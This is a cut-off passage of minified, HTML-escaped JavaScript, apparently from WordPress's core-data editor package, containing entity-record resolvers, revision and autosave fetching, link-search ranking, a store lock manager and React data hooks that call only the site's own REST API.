ww(t,e){return{type:&quot;RECEIVE_AUTOSAVES&quot;,postId:t,autosaves:Array.isArray(e)?e:[e]}}function _w(t){return{type:&quot;RECEIVE_NAVIGATION_FALLBACK_ID&quot;,fallbackId:t}}function Sw(t,e){return{type:&quot;RECEIVE_DEFAULT_TEMPLATE&quot;,query:t,templateId:e}}var bw=(t,e,r,n,o,s=!1,i)=&gt;async({dispatch:c,resolveSelect:a})=&gt;{A(t,e,&quot;receiveRevisions&quot;);let l=(await a.getEntitiesConfig(t)).find(f=&gt;f.kind===t&amp;&amp;f.name===e),d=l&amp;&amp;l?.revisionKey?l.revisionKey:M;c({type:&quot;RECEIVE_ITEM_REVISIONS&quot;,key:d,items:n,recordKey:r,meta:i,query:o,kind:t,name:e,invalidateCache:s})};var Dc={};bt(Dc,{editMediaEntity:()=&gt;Cw,receiveEditorAssets:()=&gt;Tw,receiveEditorSettings:()=&gt;Rw,receiveRegisteredPostMeta:()=&gt;vw,setCollaborationSupported:()=&gt;xw,setSyncConnectionStatus:()=&gt;Iw});var kf=w(Ae(),1);function vw(t,e){return{type:&quot;RECEIVE_REGISTERED_POST_META&quot;,postType:t,registeredPostMeta:e}}var Cw=(t,e={},{__unstableFetch:r=kf.default,throwOnError:n=!1}={})=&gt;async({dispatch:o,resolveSelect:s})=&gt;{if(!t)return;let i=&quot;postType&quot;,c=&quot;attachment&quot;,u=(await s.getEntitiesConfig(i)).find(p=&gt;p.kind===i&amp;&amp;p.name===c);if(!u)return;let l=await o.__unstableAcquireStoreLock(x,[&quot;entities&quot;,&quot;records&quot;,i,c,t],{exclusive:!0}),d,f,h=!1;try{o({type:&quot;SAVE_ENTITY_RECORD_START&quot;,kind:i,name:c,recordId:t});try{let p=`${u.baseURL}/${t}/edit`,g=await r({path:p,method:&quot;POST&quot;,data:{...e}});g&amp;&amp;(o.receiveEntityRecords(i,c,g,void 0,!0,void 0,void 0),d=g)}catch(p){f=p,h=!0}if(o({type:&quot;SAVE_ENTITY_RECORD_FINISH&quot;,kind:i,name:c,recordId:t,error:f}),h&amp;&amp;n)throw f;return d}finally{o.__unstableReleaseStoreLock(l)}};function Rw(t){return{type:&quot;RECEIVE_EDITOR_SETTINGS&quot;,settings:t}}function Tw(t){return{type:&quot;RECEIVE_EDITOR_ASSETS&quot;,assets:t}}var xw=t=&gt;({dispatch:e})=&gt;{e({type:&quot;SET_COLLABORATION_SUPPORTED&quot;,supported:t})};function Iw(t,e,r,n){return n?{type:&quot;SET_SYNC_CONNECTION_STATUS&quot;,kind:t,name:e,key:r,status:n}:{type:&quot;CLEAR_SYNC_CONNECTION_STATUS&quot;,kind:t,name:e,key:r}}var Lc={};bt(Lc,{__experimentalGetCurrentGlobalStylesId:()=&gt;Gw,__experimentalGetCurrentThemeBaseGlobalStyles:()=&gt;$w,__experimentalGetCurrentThemeGlobalStylesVariations:()=&gt;zw,canUser:()=&gt;Bf,canUserEditEntityRecord:()=&gt;jw,getAuthors:()=&gt;kw,getAutosave:()=&gt;Yw,getAutosaves:()=&gt;Fw,getBlockPatternCategories:()=&gt;Hw,getBlockPatterns:()=&gt;Kw,getCurrentTheme:()=&gt;Nw,getCurrentThemeGlobalStylesRevisions:()=&gt;jf,getCurrentUser:()=&gt;Ow,getDefaultTemplateId:()=&gt;Ff,getEditedEntityRecord:()=&gt;Lw,getEditorAssets:()=&gt;e_,getEditorSettings:()=&gt;Zw,getEmbedPreview:()=&gt;Bw,getEntitiesConfig:()=&gt;Xw,getEntityRecord:()=&gt;ts,getEntityRecords:()=&gt;Un,getEntityRecordsTotalItems:()=&gt;Pw,getEntityRecordsTotalPages:()=&gt;Mw,getNavigationFallbackId:()=&gt;Ww,getRawEntityRecord:()=&gt;Uw,getRegisteredPostMeta:()=&gt;Qw,getRevision:()=&gt;Jw,getRevisions:()=&gt;Yf,getThemeSupports:()=&gt;Vw,getUserPatternCategories:()=&gt;qw});var Ye=w(Ze(),1),Vf=w(kc(),1),N=w(Ae(),1);var Nf=w(Ae(),1);var An=w(Ae(),1),Dn=w(Ze(),1),kn=w(kc(),1),On=w(_s(),1);async function Lf(t,e={},r={}){let n=e.isInitialSuggestions&amp;&amp;e.initialSuggestionsSearchOptions?{...e,...e.initialSuggestionsSearchOptions}:e,{type:o,subtype:s,page:i,perPage:c=e.isInitialSuggestions?3:20}=n,{disablePostFormats:a=!1}=r,u=[];(!o||o===&quot;post&quot;)&amp;&amp;u.push((0,An.default)({path:(0,Dn.addQueryArgs)(&quot;/wp/v2/search&quot;,{search:t,page:i,per_page:c,type:&quot;post&quot;,subtype:s})}).then(f=&gt;f.map(h=&gt;({id:h.id,url:h.url,title:(0,kn.decodeEntities)(h.title||&quot;&quot;)||(0,On.__)(&quot;(no title)&quot;),type:h.subtype||h.type,kind:&quot;post-type&quot;}))).catch(()=&gt;[])),(!o||o===&quot;term&quot;)&amp;&amp;u.push((0,An.default)({path:(0,Dn.addQueryArgs)(&quot;/wp/v2/search&quot;,{search:t,page:i,per_page:c,type:&quot;term&quot;,subtype:s})}).then(f=&gt;f.map(h=&gt;({id:h.id,url:h.url,title:(0,kn.decodeEntities)(h.title||&quot;&quot;)||(0,On.__)(&quot;(no title)&quot;),type:h.subtype||h.type,kind:&quot;taxonomy&quot;}))).catch(()=&gt;[])),!a&amp;&amp;(!o||o===&quot;post-format&quot;)&amp;&amp;u.push((0,An.default)({path:(0,Dn.addQueryArgs)(&quot;/wp/v2/search&quot;,{search:t,page:i,per_page:c,type:&quot;post-format&quot;,subtype:s})}).then(f=&gt;f.map(h=&gt;({id:h.id,url:h.url,title:(0,kn.decodeEntities)(h.title||&quot;&quot;)||(0,On.__)(&quot;(no title)&quot;),type:h.subtype||h.type,kind:&quot;taxonomy&quot;}))).catch(()=&gt;[])),(!o||o===&quot;attachment&quot;)&amp;&amp;u.push((0,An.default)({path:(0,Dn.addQueryArgs)(&quot;/wp/v2/media&quot;,{search:t,page:i,per_page:c})}).then(f=&gt;f.map(h=&gt;({id:h.id,url:h.source_url,title:(0,kn.decodeEntities)(h.title.rendered||&quot;&quot;)||(0,On.__)(&quot;(no title)&quot;),type:h.type,kind:&quot;media&quot;}))).catch(()=&gt;[]));let d=(await Promise.all(u)).flat();return d=d.filter(f=&gt;!!f.id),d=Aw(d,t),d=d.slice(0,c),d}function Aw(t,e){let r=Uf(e),n={};for(let o of t)if(o.title){let s=Uf(o.title),i=s.filter(l=&gt;r.some(d=&gt;l===d)),c=s.filter(l=&gt;r.some(d=&gt;l!==d&amp;&amp;l.includes(d))),a=i.length/s.length*10,u=c.length/s.length;n[o.id]=a+u}else n[o.id]=0;return t.sort((o,s)=&gt;n[s.id]-n[o.id])}function Uf(t){return t.toLowerCase().match(/[\p{L}\p{N}]+/gu)||[]}var Pf=w(Ae(),1),Fe=w(Ze(),1),Oc=new Map,Dw=async(t,e={})=&gt;{let r=&quot;/wp-block-editor/v1/url-details&quot;,n={url:(0,Fe.prependHTTP)(t)};if(!(0,Fe.isURL)(t))return Promise.reject(`${t} is not a valid URL.`);let o=(0,Fe.getProtocol)(t);return!o||!(0,Fe.isValidProtocol)(o)||!o.startsWith(&quot;http&quot;)||!/^https?:\/\/[^\/\s]/i.test(t)?Promise.reject(`${t} does not have a valid protocol. URLs must be &quot;http&quot; based`):Oc.has(t)?Oc.get(t):(0,Pf.default)({path:(0,Fe.addQueryArgs)(r,n),...e}).then(s=&gt;(Oc.set(t,s),s))},Mf=Dw;async function Uc(){let t=await(0,Nf.default)({path:&quot;/wp/v2/block-patterns/patterns&quot;});return t?t.map(e=&gt;Object.fromEntries(Object.entries(e).map(([r,n])=&gt;[Gn(r),n]))):[]}var kw=t=&gt;async({dispatch:e})=&gt;{let r=(0,Ye.addQueryArgs)(&quot;/wp/v2/users/?who=authors&amp;per_page=100&quot;,t),n=await(0,N.default)({path:r});e.receiveUserQuery(r,n)},Ow=()=&gt;async({dispatch:t})=&gt;{let e=await(0,N.default)({path:&quot;/wp/v2/users/me&quot;});t.receiveCurrentUser(e)},ts=(t,e,r=&quot;&quot;,n)=&gt;async({select:o,dispatch:s,registry:i,resolveSelect:c})=&gt;{let u=(await c.getEntitiesConfig(t)).find(d=&gt;d.name===e&amp;&amp;d.kind===t);if(!u)return;let l=await s.__unstableAcquireStoreLock(x,[&quot;entities&quot;,&quot;records&quot;,t,e,r],{exclusive:!1});try{if(n!==void 0&amp;&amp;n._fields&amp;&amp;(n={...n,_fields:[...new Set([...ie(n._fields)||[],u.key||M])].join()}),n!==void 0&amp;&amp;n._fields&amp;&amp;o.hasEntityRecord(t,e,r,n))return;let{baseURL:d}=u;t===&quot;postType&quot;&amp;&amp;e===&quot;wp_template&quot;&amp;&amp;(r&amp;&amp;typeof r==&quot;string&quot;&amp;&amp;!/^\d+$/.test(r)||!window?.__experimentalTemplateActivate)&amp;&amp;(d=d.slice(0,d.lastIndexOf(&quot;/&quot;))+&quot;/templates&quot;);let f=(0,Ye.addQueryArgs)(d+(r?&quot;/&quot;+r:&quot;&quot;),{...u.baseURLParams,...n}),h=await(0,N.default)({path:f,parse:!1}),p=await h.json(),g=Yr(h.headers?.get(&quot;allow&quot;)),m=[],y={};for(let E of Ct)y[Rt(E,{kind:t,name:e,id:r})]=g[E],m.push([E,{kind:t,name:e,id:r}]);if(u.syncConfig&amp;&amp;Fr(r)&amp;&amp;!n){let E=`${t}/${e}`,_=r,S={...p};Object.entries(u.transientEdits??{}).filter(([b,I])=&gt;S[b]===void 0&amp;&amp;I&amp;&amp;typeof I==&quot;object&quot;&amp;&amp;&quot;read&quot;in I&amp;&amp;typeof I.read==&quot;function&quot;).forEach(([b,I])=&gt;{S[b]=I.read(S)}),pe()?.load(u.syncConfig,E,_,S,{editRecord:(b,I={})=&gt;{Object.keys(b).length&amp;&amp;s({type:&quot;EDIT_ENTITY_RECORD&quot;,kind:t,name:e,recordId:r,edits:b,meta:{undo:void 0},options:I})},getEditedRecord:async()=&gt;await c.getEditedEntityRecord(t,e,r),onStatusChange:b=&gt;{s.setSyncConnectionStatus(t,e,r,b)},refetchRecord:async()=&gt;{s.receiveEntityRecords(t,e,await(0,N.default)({path:f,parse:!0}),n)},persistCRDTDoc:()=&gt;{c.getEditedEntityRecord(t,e,r).then(b=&gt;{let{meta:I,status:O}=b;O===&quot;auto-draft&quot;||!I||s.saveEntityRecord(t,e,b)})},addUndoMeta:(b,I)=&gt;{let O=$o(b);O&amp;&amp;I.set(&quot;selectionHistory&quot;,O)},restoreUndoMeta:(b,I)=&gt;{let O=I.get(&quot;selectionHistory&quot;);O&amp;&amp;setTimeout(()=&gt;{Jd(O,b)},0)}})}i.batch(()=&gt;{s.receiveEntityRecords(t,e,p,n),s.receiveUserPermissions(y),s.finishResolutions(&quot;canUser&quot;,m)})}finally{s.__unstableReleaseStoreLock(l)}};ts.shouldInvalidate=(t,e,r)=&gt;e===&quot;root&quot;&amp;&amp;r===&quot;site&quot;&amp;&amp;(t.type===&quot;RECEIVE_ITEMS&quot;&amp;&amp;t.persistedEdits&amp;&amp;t.persistedEdits.status!==&quot;auto-draft&quot;||t.type===&quot;REMOVE_ITEMS&quot;)&amp;&amp;t.kind===&quot;postType&quot;&amp;&amp;t.name===&quot;wp_template&quot;;var Uw=vt(&quot;getEntityRecord&quot;),Lw=vt(&quot;getEntityRecord&quot;),Un=(t,e,r={})=&gt;async({dispatch:n,registry:o,resolveSelect:s})=&gt;{let c=(await s.getEntitiesConfig(t)).find(f=&gt;f.name===e&amp;&amp;f.kind===t);if(!c)return;let a=await n.__unstableAcquireStoreLock(x,[&quot;entities&quot;,&quot;records&quot;,t,e],{exclusive:!1}),u={...r},l=c.key||M;function d(f,h){let p=Object.fromEntries(Object.entries(h).filter(([g,m])=&gt;[&quot;context&quot;,&quot;_fields&quot;].includes(g)&amp;&amp;!!m));return f.filter(g=&gt;g?.[l]).map(g=&gt;[t,e,g[l],Object.keys(p).length&gt;0?p:void 0])}try{r._fields&amp;&amp;(r={...r,_fields:[...new Set([...ie(r._fields)||[],l])].join()});let{baseURL:f}=c,{combinedTemplates:h=!0}=r;t===&quot;postType&quot;&amp;&amp;e===&quot;wp_template&quot;&amp;&amp;h&amp;&amp;(f=f.slice(0,f.lastIndexOf(&quot;/&quot;))+&quot;/templates&quot;);let p=(0,Ye.addQueryArgs)(f,{...c.baseURLParams,...r}),g=[],m;if(c.supportsPagination&amp;&amp;r.per_page!==-1){let y=await(0,N.default)({path:p,parse:!1});g=Object.values(await y.json()),m={totalItems:parseInt(y.headers.get(&quot;X-WP-Total&quot;)),totalPages:parseInt(y.headers.get(&quot;X-WP-TotalPages&quot;))}}else if(r.per_page===-1&amp;&amp;r[Gr]===!0){let y=1,E;do{let _=await(0,N.default)({path:(0,Ye.addQueryArgs)(p,{page:y,per_page:100}),parse:!1}),S=Object.values(await _.json());E=parseInt(_.headers.get(&quot;X-WP-TotalPages&quot;)),m||(m={totalItems:parseInt(_.headers.get(&quot;X-WP-Total&quot;)),totalPages:1}),g.push(...S),o.batch(()=&gt;{n.receiveEntityRecords(t,e,g,r,!1,void 0,m),n.finishResolutions(&quot;getEntityRecord&quot;,d(S,u))}),y++}while(y&lt;=E)}else g=Object.values(await(0,N.default)({path:p})),m={totalItems:g.length,totalPages:1};if(c.syncConfig&amp;&amp;r.per_page===-1){let y=`${t}/${e}`;pe()?.loadCollection(c.syncConfig,y,{onStatusChange:E=&gt;{n.setSyncConnectionStatus(t,e,null,E)},refetchRecords:async()=&gt;{n.receiveEntityRecords(t,e,await(0,N.default)({path:p,parse:!0}),r)}})}r._fields&amp;&amp;(g=g.map(y=&gt;(r._fields.split(&quot;,&quot;).forEach(E=&gt;{y.hasOwnProperty(E)||(y[E]=void 0)}),y))),o.batch(()=&gt;{n.receiveEntityRecords(t,e,g,r,!1,void 0,m);let y=g.filter(S=&gt;!!S?.[l]&amp;&amp;!!S?._links?.self?.[0]?.targetHints?.allow).map(S=&gt;({id:S[l],permissions:Yr(S._links.self[0].targetHints.allow)})),E=[],_={};for(let S of y)for(let b of Ct)E.push([b,{kind:t,name:e,id:S.id}]),_[Rt(b,{kind:t,name:e,id:S.id})]=S.permissions[b];y.length&gt;0&amp;&amp;(n.receiveUserPermissions(_),n.finishResolutions(&quot;canUser&quot;,E)),n.finishResolutions(&quot;getEntityRecord&quot;,d(g,u)),n.__unstableReleaseStoreLock(a)})}catch{n.__unstableReleaseStoreLock(a)}};Un.shouldInvalidate=(t,e,r)=&gt;(t.type===&quot;RECEIVE_ITEMS&quot;||t.type===&quot;REMOVE_ITEMS&quot;)&amp;&amp;t.invalidateCache&amp;&amp;e===t.kind&amp;&amp;r===t.name;var Pw=vt(&quot;getEntityRecords&quot;),Mw=vt(&quot;getEntityRecords&quot;),Nw=()=&gt;async({dispatch:t,resolveSelect:e})=&gt;{let r=await e.getEntityRecords(&quot;root&quot;,&quot;theme&quot;,{status:&quot;active&quot;});t.receiveCurrentTheme(r[0])},Vw=vt(&quot;getCurrentTheme&quot;),Bw=t=&gt;async({dispatch:e})=&gt;{try{let r=await(0,N.default)({path:(0,Ye.addQueryArgs)(&quot;/oembed/1.0/proxy&quot;,{url:t})});e.receiveEmbedPreview(t,r)}catch{e.receiveEmbedPreview(t,!1)}},Bf=(t,e,r)=&gt;async({dispatch:n,registry:o,resolveSelect:s})=&gt;{if(!Ct.includes(t))throw new Error(`&#039;${t}&#039; is not a valid action.`);let{hasStartedResolution:i}=o.select(x);for(let l of Ct){if(l===t)continue;if(i(&quot;canUser&quot;,[l,e,r]))return}let c=null;if(typeof e==&quot;object&quot;){if(!e.kind||!e.name)throw new Error(&quot;The entity resource object is not valid.&quot;);let d=(await s.getEntitiesConfig(e.kind)).find(f=&gt;f.name===e.name&amp;&amp;f.kind===e.kind);if(!d)return;c=d.baseURL+(e.id?&quot;/&quot;+e.id:&quot;&quot;)}else c=`/wp/v2/${e}`+(r?&quot;/&quot;+r:&quot;&quot;);let a;try{a=await(0,N.default)({path:c,method:&quot;OPTIONS&quot;,parse:!1})}catch{return}let u=Yr(a.headers?.get(&quot;allow&quot;));o.batch(()=&gt;{for(let l of Ct){let d=Rt(l,e,r);n.receiveUserPermission(d,u[l]),l!==t&amp;&amp;n.finishResolution(&quot;canUser&quot;,[l,e,r])}})},jw=(t,e,r)=&gt;async({dispatch:n})=&gt;{await n(Bf(&quot;update&quot;,{kind:t,name:e,id:r}))},Fw=(t,e)=&gt;async({dispatch:r,resolveSelect:n})=&gt;{let{rest_base:o,rest_namespace:s=&quot;wp/v2&quot;,supports:i}=await n.getPostType(t);if(!i?.autosave)return;let c=await(0,N.default)({path:`/${s}/${o}/${e}/autosaves?context=edit`});c&amp;&amp;c.length&amp;&amp;r.receiveAutosaves(e,c)},Yw=(t,e)=&gt;async({resolveSelect:r})=&gt;{await r.getAutosaves(t,e)},Gw=()=&gt;async({dispatch:t,resolveSelect:e})=&gt;{let n=(await e.getEntityRecords(&quot;root&quot;,&quot;theme&quot;,{status:&quot;active&quot;}))?.[0]?._links?.[&quot;wp:user-global-styles&quot;]?.[0]?.href;if(!n)return;let o=n.match(/\/(\d+)(?:\?|$)/),s=o?Number(o[1]):null;s&amp;&amp;t.__experimentalReceiveCurrentGlobalStylesId(s)},$w=()=&gt;async({resolveSelect:t,dispatch:e})=&gt;{let r=await t.getCurrentTheme(),n=await(0,N.default)({path:`/wp/v2/global-styles/themes/${r.stylesheet}?context=view`});e.__experimentalReceiveThemeBaseGlobalStyles(r.stylesheet,n)},zw=()=&gt;async({resolveSelect:t,dispatch:e})=&gt;{let r=await t.getCurrentTheme(),n=await(0,N.default)({path:`/wp/v2/global-styles/themes/${r.stylesheet}/variations?context=view`});e.__experimentalReceiveThemeGlobalStyleVariations(r.stylesheet,n)},jf=()=&gt;async({resolveSelect:t,dispatch:e})=&gt;{let r=await t.__experimentalGetCurrentGlobalStylesId(),o=(r?await t.getEntityRecord(&quot;root&quot;,&quot;globalStyles&quot;,r):void 0)?._links?.[&quot;version-history&quot;]?.[0]?.href;if(o){let i=(await(0,N.default)({url:o}))?.map(c=&gt;Object.fromEntries(Object.entries(c).map(([a,u])=&gt;[Gn(a),u])));e.receiveThemeGlobalStyleRevisions(r,i)}};jf.shouldInvalidate=t=&gt;t.type===&quot;SAVE_ENTITY_RECORD_FINISH&quot;&amp;&amp;t.kind===&quot;root&quot;&amp;&amp;!t.error&amp;&amp;t.name===&quot;globalStyles&quot;;var Kw=()=&gt;async({dispatch:t})=&gt;{let e=await Uc();t({type:&quot;RECEIVE_BLOCK_PATTERNS&quot;,patterns:e})},Hw=()=&gt;async({dispatch:t})=&gt;{let e=await(0,N.default)({path:&quot;/wp/v2/block-patterns/categories&quot;});t({type:&quot;RECEIVE_BLOCK_PATTERN_CATEGORIES&quot;,categories:e})},qw=()=&gt;async({dispatch:t,resolveSelect:e})=&gt;{let n=(await e.getEntityRecords(&quot;taxonomy&quot;,&quot;wp_pattern_category&quot;,{per_page:-1,_fields:&quot;id,name,description,slug&quot;,context:&quot;view&quot;}))?.map(o=&gt;({...o,label:(0,Vf.decodeEntities)(o.name),name:o.slug}))||[];t({type:&quot;RECEIVE_USER_PATTERN_CATEGORIES&quot;,patternCategories:n})},Ww=()=&gt;async({dispatch:t,select:e,registry:r})=&gt;{let n=await(0,N.default)({path:(0,Ye.addQueryArgs)(&quot;/wp-block-editor/v1/navigation-fallback&quot;,{_embed:!0})}),o=n?._embedded?.self;r.batch(()=&gt;{if(t.receiveNavigationFallbackId(n?.id),!o)return;let i=!e.getEntityRecord(&quot;postType&quot;,&quot;wp_navigation&quot;,n.id);t.receiveEntityRecords(&quot;postType&quot;,&quot;wp_navigation&quot;,o,void 0,i),t.finishResolution(&quot;getEntityRecord&quot;,[&quot;postType&quot;,&quot;wp_navigation&quot;,n.id])})},Ff=t=&gt;async({dispatch:e,registry:r,resolveSelect:n})=&gt;{let o=await(0,N.default)({path:(0,Ye.addQueryArgs)(&quot;/wp/v2/templates/lookup&quot;,t)});await n.getEntitiesConfig(&quot;postType&quot;);let s=window?.__experimentalTemplateActivate&amp;&amp;o?.wp_id||o?.id;s&amp;&amp;(o.id=s,r.batch(()=&gt;{e.receiveDefaultTemplateId(t,s),e.receiveEntityRecords(&quot;postType&quot;,o.type,o),e.finishResolution(&quot;getEntityRecord&quot;,[&quot;postType&quot;,o.type,s])}))};Ff.shouldInvalidate=t=&gt;t.type===&quot;RECEIVE_ITEMS&quot;&amp;&amp;t.kind===&quot;root&quot;&amp;&amp;t.name===&quot;site&quot;;var Yf=(t,e,r,n={})=&gt;async({dispatch:o,registry:s,resolveSelect:i})=&gt;{let a=(await i.getEntitiesConfig(t)).find(p=&gt;p.name===e&amp;&amp;p.kind===t);if(!a)return;n._fields&amp;&amp;(n={...n,_fields:[...new Set([...ie(n._fields)||[],a.revisionKey||M])].join()});let u=(0,Ye.addQueryArgs)(a.getRevisionsUrl(r),n),l,d,f={},h=a.supportsPagination&amp;&amp;n.per_page!==-1;try{d=await(0,N.default)({path:u,parse:!h})}catch{return}d&amp;&amp;(h?(l=Object.values(await d.json()),f.totalItems=parseInt(d.headers.get(&quot;X-WP-Total&quot;))):l=Object.values(d),n._fields&amp;&amp;(l=l.map(p=&gt;(n._fields.split(&quot;,&quot;).forEach(g=&gt;{p.hasOwnProperty(g)||(p[g]=void 0)}),p))),s.batch(()=&gt;{if(o.receiveRevisions(t,e,r,l,n,!1,f),!n?._fields&amp;&amp;!n.context){let p=a.revisionKey||M,g=l.filter(m=&gt;m[p]).map(m=&gt;[t,e,r,m[p]]);o.finishResolutions(&quot;getRevision&quot;,g)}}))};Yf.shouldInvalidate=(t,e,r,n)=&gt;t.type===&quot;SAVE_ENTITY_RECORD_FINISH&quot;&amp;&amp;r===t.name&amp;&amp;e===t.kind&amp;&amp;!t.error&amp;&amp;n===t.recordId;var Jw=(t,e,r,n,o)=&gt;async({dispatch:s,resolveSelect:i})=&gt;{let a=(await i.getEntitiesConfig(t)).find(d=&gt;d.name===e&amp;&amp;d.kind===t);if(!a)return;o!==void 0&amp;&amp;o._fields&amp;&amp;(o={...o,_fields:[...new Set([...ie(o._fields)||[],a.revisionKey||M])].join()});let u=(0,Ye.addQueryArgs)(a.getRevisionsUrl(r,n),o),l;try{l=await(0,N.default)({path:u})}catch{return}l&amp;&amp;s.receiveRevisions(t,e,r,l,o)},Qw=t=&gt;async({dispatch:e,resolveSelect:r})=&gt;{let n;try{let{rest_namespace:o=&quot;wp/v2&quot;,rest_base:s}=await r.getPostType(t)||{};n=await(0,N.default)({path:`${o}/${s}/?context=edit`,method:&quot;OPTIONS&quot;})}catch{return}n&amp;&amp;e.receiveRegisteredPostMeta(t,n?.schema?.properties?.meta?.properties)},Xw=t=&gt;async({dispatch:e})=&gt;{let r=Wo.find(n=&gt;n.kind===t);if(r)try{let n=await r.loadEntities();if(!n.length)return;e.addEntities(n)}catch{}},Zw=()=&gt;async({dispatch:t})=&gt;{let e=await(0,N.default)({path:&quot;/wp-block-editor/v1/settings&quot;});t.receiveEditorSettings(e)},e_=()=&gt;async({dispatch:t})=&gt;{let e=await(0,N.default)({path:&quot;/wp-block-editor/v1/assets&quot;});t.receiveEditorAssets(e)};function Pc(t,e){let r={...t},n=r;for(let o of e)n.children={...n.children,[o]:{locks:[],children:{},...n.children[o]}},n=n.children[o];return r}function Ln(t,e){let r=t;for(let n of e){let o=r.children[n];if(!o)return null;r=o}return r}function*Gf(t,e){let r=t;yield r;for(let n of e){let o=r.children[n];if(!o)break;yield o,r=o}}function*$f(t){let e=Object.values(t.children);for(;e.length;){let r=e.pop();yield r,e.push(...Object.values(r.children))}}function Mc({exclusive:t},e){return!!(t&amp;&amp;e.length||!t&amp;&amp;e.filter(r=&gt;r.exclusive).length)}var t_={requests:[],tree:{locks:[],children:{}}};function Pn(t=t_,e){switch(e.type){case&quot;ENQUEUE_LOCK_REQUEST&quot;:{let{request:r}=e;return{...t,requests:[r,...t.requests]}}case&quot;GRANT_LOCK_REQUEST&quot;:{let{lock:r,request:n}=e,{store:o,path:s}=n,i=[o,...s],c=Pc(t.tree,i),a=Ln(c,i);return a.locks=[...a.locks,r],{...t,requests:t.requests.filter(u=&gt;u!==n),tree:c}}case&quot;RELEASE_LOCK&quot;:{let{lock:r}=e,n=[r.store,...r.path],o=Pc(t.tree,n),s=Ln(o,n);return s.locks=s.locks.filter(i=&gt;i!==r),{...t,tree:o}}}return t}function zf(t){return t.requests}function Kf(t,e,r,{exclusive:n}){let o=[e,...r],s=t.tree;for(let c of Gf(s,o))if(Mc({exclusive:n},c.locks))return!1;let i=Ln(s,o);if(!i)return!0;for(let c of $f(i))if(Mc({exclusive:n},c.locks))return!1;return!0}function Hf(){let t=Pn(void 0,{type:&quot;@@INIT&quot;});function e(){for(let o of zf(t)){let{store:s,path:i,exclusive:c,notifyAcquired:a}=o;if(Kf(t,s,i,{exclusive:c})){let u={store:s,path:i,exclusive:c};t=Pn(t,{type:&quot;GRANT_LOCK_REQUEST&quot;,lock:u,request:o}),a(u)}}}function r(o,s,i){return new Promise(c=&gt;{t=Pn(t,{type:&quot;ENQUEUE_LOCK_REQUEST&quot;,request:{store:o,path:s,exclusive:i,notifyAcquired:c}}),e()})}function n(o){t=Pn(t,{type:&quot;RELEASE_LOCK&quot;,lock:o}),e()}return{acquire:r,release:n}}function qf(){let t=Hf();function e(n,o,{exclusive:s}){return()=&gt;t.acquire(n,o,s)}function r(n){return()=&gt;t.release(n)}return{__unstableAcquireStoreLock:e,__unstableReleaseStoreLock:r}}var Wf,Jf;var rs=w(We(),1);var Xf=w(We(),1),wt=(0,Xf.createContext)({});wt.displayName=&quot;EntityContext&quot;;var th=w(eh(),1);function rh({kind:t,type:e,id:r,revisionId:n,children:o}){let s=(0,rs.useContext)(wt),i=(0,rs.useMemo)(()=&gt;({...s,...t&amp;&amp;{[t]:{...s?.[t],[e]:r}},...n!==void 0&amp;&amp;{revisionId:n}}),[s,t,e,r,n]);return(0,th.jsx)(wt.Provider,{value:i,children:o})}var ns=w(W(),1),ch=w(er(),1),ah=w(We(),1);var sh=w(W(),1);function nh(t,e){var r=0,n,o;e=e||{};function s(){var i=n,c=arguments.length,a,u;e:for(;i;){if(i.args.length!==arguments.length){i=i.next;continue}for(u=0;u&lt;c;u++)if(i.args[u]!==arguments[u]){i=i.next;continue e}return i!==n&amp;&amp;(i===o&amp;&amp;(o=i.prev),i.prev.next=i.next,i.next&amp;&amp;(i.next.prev=i.prev),i.next=n,i.prev=null,n.prev=i,n=i),i.val}for(a=new Array(c),u=0;u&lt;c;u++)a[u]=arguments[u];return i={args:a,val:t.apply(null,a)},n?(n.prev=i,i.next=n):o=i,r===e.maxSize?(o=o.prev,o.next=null):r++,n=i,i.val}return s.clear=function(){n=null,o=null,r=0},s}var oh=nh;var te=(t=&gt;(t.Idle=&quot;IDLE&quot;,t.Resolving=&quot;RESOLVING&quot;,t.Error=&quot;ERROR&quot;,t.Success=&quot;SUCCESS&quot;,t))(te||{});var r_=[&quot;getIsResolving&quot;,&quot;hasStartedResolution&quot;,&quot;hasFinishedResolution&quot;,&quot;isResolving&quot;,&quot;getCachedResolvers&quot;];function Mr(t,e){return(0,sh.useSelect)((r,n)=&gt;t(s=&gt;n_(r(s)),n),e)}var n_=oh((t=&gt;{let e={};for(let r in t)r_.includes(r)||Object.defineProperty(e,r,{get:()=&gt;(...n)=&gt;{let o=t[r](...n),s=t.getResolutionState(r,n)?.status,i;switch(s){case&quot;resolving&quot;:i=te.Resolving;break;case&quot;finished&quot;:i=te.Success;break;case&quot;error&quot;:i=te.Error;break;case void 0:i=te.Idle;break}return{data:o,status:i,isResolving:i===te.Resolving,hasStarted:i!==te.Idle,hasResolved:i===te.Success||i===te.Error}}});return e}));var ih={};function Nc(t,e,r,n={enabled:!0}){let{editEntityRecord:o,saveEditedEntityRecord:s}=(0,ns.useDispatch)(q),i=(0,ah.useMemo)(()=&gt;({edit:(f,h={})=&gt;o(t,e,r,f,h),save:(f={})=&gt;s(t,e,r,{throwOnError:!0,...f})}),[o,t,e,r,s]),{editedRecord:c,hasEdits:a,edits:u}=(0,ns.useSelect)(f=&gt;n.enabled?{editedRecord:f(q).getEditedEntityRecord(t,e,r),hasEdits:f(q).hasEditsForEntityRecord(t,e,r),edits:f(q).getEntityRecordNonTransientEdits(t,e,r)}:{editedRecord:ih,hasEdits:!1,edits:ih},[t,e,r,n.enabled]),{data:l,...d}=Mr(f=&gt;n.enabled?f(q).getEntityRecord(t,e,r):{data:null},[t,e,r,n.enabled]);return{record:l,editedRecord:c,hasEdits:a,edits:u,...d,...i}}function lh(t,e,r,n){return(0,ch.default)(&quot;wp.data.__experimentalUseEntityRecord&quot;,{alternative:&quot;wp.data.useEntityRecord&quot;,since:&quot;6.1&quot;}),Nc(t,e,r,n)}var uh=w(Ze(),1),dh=w(er(),1),os=w(W(),1),Vc=w(We(),1);var o_=[];function ss(t,e,r={},n={enabled:!0}){let o=(0,uh.addQueryArgs)(&quot;&quot;,r),{data:s,...i}=Mr(u=&gt;n.enabled?u(q).getEntityRecords(t,e,r):{data:o_},[t,e,o,n.enabled]),{totalItems:c,totalPages:a}=(0,os.useSelect)(u=&gt;n.enabled?{totalItems:u(q).getEntityRecordsTotalItems(t,e,r),totalPages:u(q).getEntityRecordsTotalPages(t,e,r)}:{totalItems:null,totalPages:null},[t,e,o,n.enabled]);return{records:s,totalItems:c,totalPages:a,...i}}function fh(t,e,r,n){return(0,dh.default)(&quot;wp.data.__experimentalUseEntityRecords&quot;,{alternative:&quot;wp.data.useEntityRecords&quot;,since:&quot;6.1&quot;}),ss(t,e,r,n)}function hh(t,e,r={},n={enabled:!0}){let 